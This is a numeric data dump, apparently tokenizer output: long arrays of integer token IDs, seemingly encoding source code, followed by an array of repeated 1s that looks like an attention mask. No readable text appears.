2105, 63, 815, 12, 291, 14, 4032, 63, 815, 9, 267, 3123, 275, 3743, 14, 908, 63, 4556, 342, 267, 291, 423, 479, 20683, 13317, 8, 2350, 12, 570, 63, 515, 9, 267, 291, 14, 629, 360, 81, 19969, 18, 297, 3123, 14, 1623, 17371, 3090, 1959, 362, 360, 466, 1333, 339, 347, 511, 63, 11877, 63, 3528, 2413, 2319, 63, 3090, 63, 14039, 63, 27919, 8, 277, 304, 267, 333, 343, 63, 1095, 275, 1994, 20481, 7, 267, 291, 14, 2469, 8, 3528, 2413, 2319, 63, 3956, 63, 1403, 63, 1095, 29, 20481, 63, 1095, 12, 1572, 534, 11877, 358, 398, 13108, 63, 3090, 275, 6482, 2413, 2319, 14, 14407, 17541, 2413, 2319, 6464, 6158, 8, 277, 14, 3183, 63, 1631, 9, 267, 4843, 63, 875, 275, 283, 5756, 14, 6568, 14, 17, 14, 17, 11254, 2405, 13, 22417, 7, 267, 4843, 63, 20481, 63, 1095, 275, 747, 14, 515, 14, 904, 8, 20481, 63, 1095, 12, 355, 3778, 14, 362, 63, 2227, 63, 495, 8, 3790, 63, 875, 430, 398, 1950, 63, 815, 275, 791, 576, 356, 791, 3790, 356, 4843, 63, 875, 12, 2511, 283, 354 ]
[ 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 646, 747, 199, 199, 646, 1683, 199, 504, 11258, 63, 27518, 492, 2112, 1208, 199, 199, 504, 5913, 14, 2219, 14, 3248, 14, 4549, 14, 11877, 14, 2405, 492, 511, 63, 2405, 199, 504, 5913, 492, 3778, 199, 504, 5913, 14, 4549, 14, 11877, 492, 3778, 465, 13108, 63, 1208, 199, 504, 5913, 14, 4549, 14, 11877, 14, 2405, 492, 6482, 2413, 2319, 421, 199, 533, 8003, 4549, 17541, 2413, 2319, 6464, 6158, 1746, 8, 267, 511, 63, 2405, 14, 14407, 6464, 20760, 304, 339, 347, 511, 63, 11877, 63, 3528, 2413, 2319, 63, 3090, 8, 277, 304, 267, 333, 343, 63, 1095, 275, 1994, 20481, 7, 267, 291, 14, 2469, 8, 3528, 2413, 2319, 63, 3956, 63, 1403, 63, 1095, 29, 20481, 63, 1095, 12, 1572, 534, 11877, 358, 398, 13108, 63, 3090, 275, 6482, 2413, 2319, 14, 14407, 17541, 2413, 2319, 6464, 6158, 8, 277, 14, 3183, 63, 1631, 9, 267, 291, 14, 8957, 14, 1084, 8, 11877, 63, 1208, 12, 283, 374, 63, 27919, 297, 2400, 671, 12, 366, 26, 756, 9, 267, 4843, 63, 875, 275, 283, 5756, 14, 6568, 14, 17, 14, 17, 11254, 2405, 13, 22417, 7, 267, 4843, 63, 20481, 63, 1095, 275, 747, 14, 515, 14, 904, 8, 20481, 63, 1095, 12, 355, 3778, 14, 362, 63, 2227, 63, 495, 8, 3790, 63, 875, 430, 398, 1950, 63, 815, 275, 791, 576, 356, 791, 3790, 356, 4843, 63, 875, 12, 2511, 283, 354, 356, 291, 14, 354, 4863, 267, 13108, 63, 3090, 14, 2242, 63, 2405, 8, 2105, 63, 815, 12, 291, 14, 4032, 63, 815, 9, 267, 13108, 63, 3090, 14, 10673, 63, 2405, 8, 2105, 63, 815, 12, 298, 86, 271, 531, 398, 2243, 63, 515, 275, 747, 14, 515, 14, 904, 8, 3790, 63, 20481, 63, 1095, 12, 3521, 1950, 63, 815, 459, 576, 2545, 354, 1105, 267, 291, 14, 629, 8, 2105, 63, 815, 459, 576, 2545, 1782, 63, 515, 995, 2243, 63, 515, 9, 267, 1420, 63, 4405, 275, 359, 288, 661, 8215, 297, 2475, 80, 297, 4843, 63, 20481, 63, 1095, 395, 288, 661, 3956, 297, 2475, 84, 297, 283, 3528, 2413, 2319, 297, 4843, 63, 875, 12, 4843, 63, 20481, 63, 1095, 395, 288, 661, 453, 79, 638, 297, 4843, 63, 20481, 63, 1095, 1874, 267, 291, 14, 629, 8, 2062, 63, 4405, 12, 291, 14, 1628, 3862, 9, 339, 347, 511, 63, 11877, 63, 3528, 2413, 2319, 63, 3090, 63, 362, 63, 888, 8, 277, 304, 267, 333, 343, 63, 1095, 275, 1994, 20481, 7, 267, 291, 14, 2469, 8, 3528, 2413, 2319, 63, 3956, 63, 1403, 63, 1095, 29, 20481, 63, 1095, 12, 1572, 534, 11877, 358, 398, 13108, 63, 3090, 275, 6482, 2413, 2319, 14, 14407, 17541, 2413, 2319, 6464, 6158, 8, 277, 14, 3183, 63, 1631, 9, 267, 4843, 63, 875, 275, 283, 5756, 14, 6568, 14, 17, 14, 17, 11254, 2405, 13, 22417, 7, 267, 4843, 63, 20481, 63, 1095, 275, 747, 14, 515, 14, 904, 8, 20481, 63, 1095, 12, 4318, 3778, 14, 362, 63, 2227, 63, 495, 8, 3790, 63, 875, 430, 267, 570, 63, 515, 275, 747, 14, 515, 14, 904, 8, 3790, 63, 20481, 63, 1095, 12, 291, 14, 354, 9, 398, 327, 1379, 849, 1475, 446, 3066, 267, 1950, 63, 815, 275, 791, 576, 356, 791, 3790, 356, 4843, 63, 875, 12, 2511, 283, 354, 356, 291, 14, 354, 12, 2511, 283, 1782, 63, 515, 356, 570, 63, 515, 4863, 267, 3743, 275, 13108, 63, 3090, 14, 362, 63, 888, 8, 2105, 63, 815, 12, 291, 14, 4032, 63, 815, 9, 267, 3123, 275, 3743, 14, 908, 63, 4556, 342, 267, 291, 423, 479, 20683, 13317, 8, 2350, 12, 570, 63, 515, 9, 267, 291, 14, 629, 360, 1773, 297, 3123, 14, 1623, 17371, 3090, 1959, 362, 360, 466, 1333, 398, 327, 1379, 2013, 1475, 446, 1894, 19969, 18, 267, 1950, 63, 815, 275, 791, 576, 356, 791, 3790, 356, 4843, 63, 875, 12, 2511, 283, 354, 356, 291, 14, 354, 12, 2511, 283, 1782, 63, 515, 356, 570, 63, 515, 12, 2511, 283, 908, 356, 283, 81, 19969, 18, 18620, 267, 3743, 275, 13108, 63, 3090, 14, 362, 63, 888, 8, 2105, 63, 815, 12, 291, 14, 4032, 63, 815, 9, 267, 3123, 275, 3743, 14, 908, 63, 4556, 342, 267, 291, 423, 479, 20683, 13317, 8, 2350, 12, 570, 63, 515, 9, 267, 291, 14, 629, 360, 81, 19969, 18, 297, 3123, 14, 1623, 17371, 3090, 1959, 362, 360, 466, 1333, 339, 347, 511, 63, 11877, 63, 3528, 2413, 2319, 63, 3090, 63, 14039, 63, 27919, 8, 277, 304, 267, 333, 343, 63, 1095, 275, 1994, 20481, 7, 267, 291, 14, 2469, 8, 3528, 2413, 2319, 63, 3956, 63, 1403, 63, 1095, 29, 20481, 63, 1095, 12, 1572, 534, 11877, 358, 398, 13108, 63, 3090, 275, 6482, 2413, 2319, 14, 14407, 17541, 2413, 2319, 6464, 6158, 8, 277, 14, 3183, 63, 1631, 9, 267, 4843, 63, 875, 275, 283, 5756, 14, 6568, 14, 17, 14, 17, 11254, 2405, 13, 22417, 7, 267, 4843, 63, 20481, 63, 1095, 275, 747, 14, 515, 14, 904, 8, 20481, 63, 1095, 12, 355, 3778, 14, 362, 63, 2227, 63, 495, 8, 3790, 63, 875, 430, 398, 1950, 63, 815, 275, 791, 576, 356, 791, 3790, 356, 4843, 63, 875, 12, 2511, 283, 354, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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